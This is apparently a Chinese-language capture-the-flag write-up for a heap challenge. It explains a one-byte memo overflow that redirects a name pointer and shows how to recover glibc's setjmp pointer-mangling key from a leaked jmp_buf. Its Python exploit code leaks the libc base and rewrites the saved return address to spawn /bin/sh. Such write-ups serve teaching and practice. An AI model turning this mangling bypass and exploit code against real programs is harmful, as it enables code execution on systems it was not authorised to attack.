Vuln

类似 off-by-one,不过比off-by-one简单

程序的堆块结构如下

  0x010: myclass:
         ---------------------------
          |                        |
          |   students [0x1e]      |
          |                        |
          --------------------------

    0x110: jmpbuf:
          --------------------------
          |                        |
          |   jmpbuf               |
          |                        |
          --------------------------

    0x110: stud0:
          --------------------------
          |                        |
          |  id                    |
          |  memo_buf[0x20]        |
          |  name -----------------|-----
          |                        |    |
          --------------------------    |
                                        |
                                        |
                                        |
    0x220: name0:                       |
          -------------------------- <--|
          |                        |
          |       name_buf         |
          |                        |
          --------------------------

    0x250: stud1:
          --------------------------
          |                        |
          |  id                    |
          |  memo_buf[0x20]        |
          |  name -----------------|-----
          |                        |    |
          --------------------------    |
                                        |
                                        |
                                        |
    0x290: name1:                       |
          -------------------------- <--|
          |                        |
          |       name_buf         |
          |                        |
          --------------------------

    0x2c0: stud2:
          --------------------------
          |                        |
          |  id                    |
          |  memo_buf[0x20]        |
          |  name -----------------|-----
          |                        |    |
          --------------------------    |
                                        |
                                        |
                                        |
    0x300: name2:                       |
          -------------------------- <--|
          |                        |
          |       name_buf         |
          |                        |
          --------------------------

    0x330: stud3:
          --------------------------
          |                        |
          |  id                    |
          |  memo_buf[0x20]        |
          |  name -----------------|-----
          |                        |    |
          --------------------------    |
                                        |
                                        |
                                        |
    0x370: name3:                       |
          -------------------------- <--|
          |                        |
          |       name_buf         |
          |                        |
          --------------------------

    0x3a0: stud4:
          --------------------------
          |                        |
          |  id                    |
          |  memo_buf[0x20]        |
          |  name -----------------|-----
          |                        |    |
          --------------------------    |
                                        |
                                        |
                                        |
    0x3e0: name4:                       |
          -------------------------- <--|
          |                        |
          |       name_buf         |
          |                        |
          --------------------------

最大students数为0x20,超过的时候就会调用longjmp

longjmp会根据之前setjmp保存的地址返回

下面是memo的输入

    printf("%s", "Input memo:");
    v5 = (_BYTE *)(*(_QWORD *)(my_class + 8LL * v2) + 8LL);
    for ( i = 0; i <= 32; ++i )
    {
      v1 = getchar();
      if ( v1 == 10 )
        break;
      *v5++ = v1;
    }

可以看到memo只有0x20bytes空间,而输入确可以有0x21,这样就可以覆盖name_buf一位为任意字节

又由于堆分配的连续性,并且低几位开始都是固定的,所以可以将name1覆盖成堆name2的地址,然后对name2写一个地址,地址为任意地址

    0x110: stud0:
          --------------------------
          |                        |
          |  id                    |
          |  memo_buf[0x20]        |
          |  name -----------------|-----
          |                        |    |
          --------------------------    |
                                        |
                                        |
                                        |
    0x220: name0:                       |
          --------------------------    |
          |                        |    |
          |       name_buf         |    |
          |                        |    |
          --------------------------    |
                                        |
    0x250: stud1:                       |
          --------------------------    |
          |                        |    |
          |  id                    |    |
          |  memo_buf[0x20]        |    |
          |  name <----------------|----|
          |                        |
          --------------------------

leak

首先就是要leak出需要的地址,但是有aslr,所以不能指定固定地址

观察jmpbuf的结构

    0x110: jmpbuf:
          --------------------------
          |                        |
          |  0x00: ???             |
          |  0x08: RBP             |
          |  0x10: R12             |
          |  0x18: R13             |
          |  0x20: R14             |
          |  0x28: R15             |
          |  0x30: RSP             |
          |  0x38: RIP <----------------|
          |                        |    |
          --------------------------    |
                                        |
    ...                                 |
                                        |
                                        |
    0x290: name2:                       |
          --------------------------    |
          |                        |    |
          |       name_buf         |    |
          |                        |    |
          --------------------------    |
                                        |
    0x2c0: stud2:                       |
          --------------------------    |
          |                        |    |
          |  id                    |    |
          |  memo_buf[0x20]        |    |
          |  name  ----------------|----|
          |                        |
          --------------------------

有rsp,rip(longjmp之后的返回地址),不过需要注意的是这几个都是加密后的

magic number

调试发现,

 ► 0x7ffff7a431b0 <__sigsetjmp>       mov    qword ptr [rdi], rbx
   0x7ffff7a431b3 <__sigsetjmp+3>     mov    rax, rbp
   0x7ffff7a431b6 <__sigsetjmp+6>     xor    rax, qword ptr fs:[0x30]
   0x7ffff7a431bf <__sigsetjmp+15>    rol    rax, 0x11
   0x7ffff7a431c3 <__sigsetjmp+19>    mov    qword ptr [rdi + 8], rax
   0x7ffff7a431c7 <__sigsetjmp+23>    mov    qword ptr [rdi + 0x10], r12
   0x7ffff7a431cb <__sigsetjmp+27>    mov    qword ptr [rdi + 0x18], r13
   0x7ffff7a431cf <__sigsetjmp+31>    mov    qword ptr [rdi + 0x20], r14
   0x7ffff7a431d3 <__sigsetjmp+35>    mov    qword ptr [rdi + 0x28], r15
   0x7ffff7a431d7 <__sigsetjmp+39>    lea    rdx, [rsp + 8]
   0x7ffff7a431dc <__sigsetjmp+44>    xor    rdx, qword ptr fs:[0x30]
   0x7ffff7a431e5 <__sigsetjmp+53>    rol    rdx, 0x11
   0x7ffff7a431e9 <__sigsetjmp+57>    mov    qword ptr [rdi + 0x30], rdx
   0x7ffff7a431ed <__sigsetjmp+61>    mov    rax, qword ptr [rsp]
   0x7ffff7a431f1 <__sigsetjmp+65>    nop    
   0x7ffff7a431f2 <__sigsetjmp+66>    xor    rax, qword ptr fs:[0x30]
   0x7ffff7a431fb <__sigsetjmp+75>    rol    rax, 0x11
   0x7ffff7a431ff <__sigsetjmp+79>    mov    qword ptr [rdi + 0x38], rax
   0x7ffff7a43203 <__sigsetjmp+83>    jmp    __sigjmp_save                 <0x7ffff7a43210>

对于esp或者返回地址都有 rol(0x11), ^fs:0x30这样的操作

这里的技巧就是知道加密前的eip,即返回地址0x400C31

jmpbuf_orgret_addr = 0x400C31
# -------------------- leak and calculate magic number ------------------------
# student1.name -> jmpbuf
name_student(0, p64(jmpbuf_addr+0x38)+'\n')
# leak encrypted return addr
leak_addr = show_name(1)
if len(leak_addr) > 8:
    leak_addr = leak_addr[0:8]
leak_addr = leak_addr.ljust(8, '\x00')
org_ret_addr = u64(leak_addr)
print 'leaked encrypt return address:', hex(org_ret_addr)
tmp_magic = ror(org_ret_addr, 0x11, 64)
magic_number = tmp_magic ^ jmpbuf_orgret_addr
print 'magic number:', hex(magic_number)

这样就可以leak出加密后的ebp然后解密,最后算出libc基址

# --------------------- leak ebp; then leak libc_start_main ----------------
name_student(0, p64(jmpbuf_addr+0x30)+'\n')
# leak encrypted return addr
leak_addr = show_name(1)
if len(leak_addr) > 8:
    leak_addr = leak_addr[0:8]
leak_addr = leak_addr.ljust(8, '\x00')
ebp_enc_addr = u64(leak_addr)
ebp_enc_addr = ror(ebp_enc_addr, 0x11, 64)
ebp_real_addr = ebp_enc_addr ^ magic_number
print 'leaked ebp addr is:', hex(ebp_real_addr)
name_student(0, p64(ebp_real_addr+0x18)+'\n')
# leak encrypted return addr
leak_addr = show_name(1)
if len(leak_addr) > 8:
    leak_addr = leak_addr[0:8]
leak_addr = leak_addr.ljust(8, '\x00')
libc_f0_addr = u64(leak_addr)
print 'lib fe addr:', hex(libc_f0_addr)
libc_base_addr = libc_f0_addr - local_libcstart_offset - 0xF0
print 'libc address:', hex(libc_base_addr)

exp

调试可以发现,在最后

edi正好指向jmpbuf的开头,那么覆盖一下开头几个字节,就可以使得第一个参数为 /bin/sh

最后返回到system即可

# write bin/sh
name_student(0, p64(jmpbuf_addr)+'\n')
name_student(1, '/bin/sh' + '\n')

# -------------------------- overwrite address by calculate by magic number --------------
# student1.name -> jmpbuf
name_student(0, p64(jmpbuf_addr+0x38)+'\n')
# calculate address
encry_f_addr = system_addr ^ magic_number
encry_f_addr = rol(encry_f_addr, 0x11, 64)
print 'writing magic addrress:', hex(encry_f_addr)
# overwrite jmpbuf
name_student(1, p64(encry_f_addr)+'\n')
add_student()
p.interactive()

results matching ""

    No results matching ""